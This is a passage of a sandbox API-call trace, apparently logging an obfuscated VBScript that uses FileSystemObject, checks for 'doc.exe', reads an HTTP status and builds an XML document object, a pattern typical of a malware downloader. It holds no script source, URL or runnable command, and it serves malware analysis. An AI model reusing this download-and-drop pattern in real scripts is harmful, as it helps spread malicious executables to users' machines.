pid=0x154a4c | out: pid=0x154a4c*=1395508) returned 0x80020006 [0089.005] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sfo", grfdex=0x8, pid=0x1549a4 | out: pid=0x1549a4*=-1) returned 0x80020006 [0089.005] GetCurrentThreadId () returned 0xd44 [0089.005] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.005] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.005] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="oofofs", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.005] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="oofofs", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.005] GetCurrentThreadId () returned 0xd44 [0089.005] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.074] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.074] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="osdv", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.074] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="osdv", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.075] GetCurrentThreadId () returned 0xd44 [0089.075] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.075] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.075] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mmgcb", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.075] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mmgcb", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.075] GetCurrentThreadId () returned 0xd44 [0089.075] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.075] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.075] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bicodo", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.075] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bicodo", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.075] GetCurrentThreadId () returned 0xd44 [0089.076] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.076] ??2@YAPAXI@Z () returned 0x86bff10 [0089.076] malloc (_Size=0x804) returned 0x83fc220 [0089.076] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.076] CLSIDFromProgIDEx (in: lpszProgID="scripting.filesystemobject", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0089.076] SysStringLen (param_1=0x0) returned 0x0 [0089.076] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x11c2228) returned 0x0 [0089.088] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0089.088] FileSystemObject:IClassFactory:CreateInstance (in: This=0x11c2228, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x11c2068) returned 0x0 [0089.088] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x0 [0089.088] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0089.088] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x11c2068) returned 0x0 [0089.088] FileSystemObject:IUnknown:AddRef (This=0x11c2068) returned 0x3 [0089.088] FileSystemObject:IUnknown:Release (This=0x11c2068) returned 0x2 [0089.088] FileSystemObject:IUnknown:Release (This=0x11c2068) returned 0x1 [0089.088] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.089] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objfsodownload", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.089] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objfsodownload", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.089] GetCurrentThreadId () returned 0xd44 [0089.089] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.089] FileSystemObject:IUnknown:AddRef (This=0x11c2068) returned 0x2 [0089.089] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.090] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaaaaaaal", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.090] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaaaaaaal", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.090] GetCurrentThreadId () returned 0xd44 [0089.090] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.090] ??2@YAPAXI@Z () returned 0x86bff10 [0089.090] malloc (_Size=0x804) returned 0x83fc220 [0089.090] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.091] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.091] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="xnsf", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.091] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="xnsf", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.091] GetCurrentThreadId () returned 0xd44 [0089.091] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.092] ??2@YAPAXI@Z () returned 0x86bff10 [0089.092] malloc (_Size=0x804) returned 0x83fc220 [0089.092] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.092] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0089.092] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x11c2068, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=10016) returned 0x0 [0089.092] FileSystemObject:IUnknown:AddRef (This=0x11c2068) returned 0x2 [0089.092] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0089.093] FileSystemObject:IDispatch:Invoke (in: This=0x11c2068, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x11c2068) returned 0x0 [0089.093] FileSystemObject:IUnknown:Release (This=0x11c2068) returned 0x1 [0089.093] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.093] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="onononono", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.093] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="onononono", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.093] GetCurrentThreadId () returned 0xd44 [0089.093] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.094] ??2@YAPAXI@Z () returned 0x86bff10 [0089.094] malloc (_Size=0x804) returned 0x83fc220 [0089.094] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.094] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0089.094] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555368, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="status", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=7) returned 0x0 [0089.094] DOMDocument:IUnknown:AddRef (This=0x555368) returned 0x2 [0089.094] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0089.094] DOMDocument:IDispatch:Invoke (in: This=0x555368, dispIdMember=7, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x154a40*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768*(varType=0x3, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x555368) returned 0x0 [0089.094] DOMDocument:IUnknown:Release (This=0x555368) returned 0x1 [0089.095] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.095] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.095] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.095] GetCurrentThreadId () returned 0xd44 [0089.095] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.095] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.095] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="alls", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.095] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="alls", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.095] GetCurrentThreadId () returned 0xd44 [0089.096] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.096] ??2@YAPAXI@Z () returned 0x86bff10 [0089.096] malloc (_Size=0x804) returned 0x83fc220 [0089.096] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.096] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0089.096] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.097] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.097] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.097] GetCurrentThreadId () returned 0xd44 [0089.097] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.097] ??2@YAPAXI@Z () returned 0x11c2228 [0089.097] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.097] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.097] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.097] GetCurrentThreadId () returned 0xd44 [0089.098] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.098] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.098] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.098] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.098] GetCurrentThreadId () returned 0xd44 [0089.098] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.098] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.098] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.098] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.099] GetCurrentThreadId () returned 0xd44 [0089.099] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.099] malloc (_Size=0x204) returned 0x11917e0 [0089.099] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.099] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.099] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.099] GetCurrentThreadId () returned 0xd44 [0089.100] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.101] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.101] malloc (_Size=0x804) returned 0x83fc220 [0089.101] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.101] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0089.101] SysStringLen (param_1=0x0) returned 0x0 [0089.101] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0089.102] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0089.102] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x554908) returned 0x0 [0089.102] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0089.102] DOMDocument:IUnknown:QueryInterface (in: This=0x554908, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x554934) returned 0x0 [0089.102] ??2@YAPAXI@Z () returned 0x1112950 [0089.102] DOMDocument:IObjectWithSite:SetSite (This=0x554934, pUnkSite=0x1112950) returned 0x0 [0089.102] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0089.102] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0089.102] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0089.102] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112950) returned 0x0 [0089.103] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112950) returned 0x0 [0089.103] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.103] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.103] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.103] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 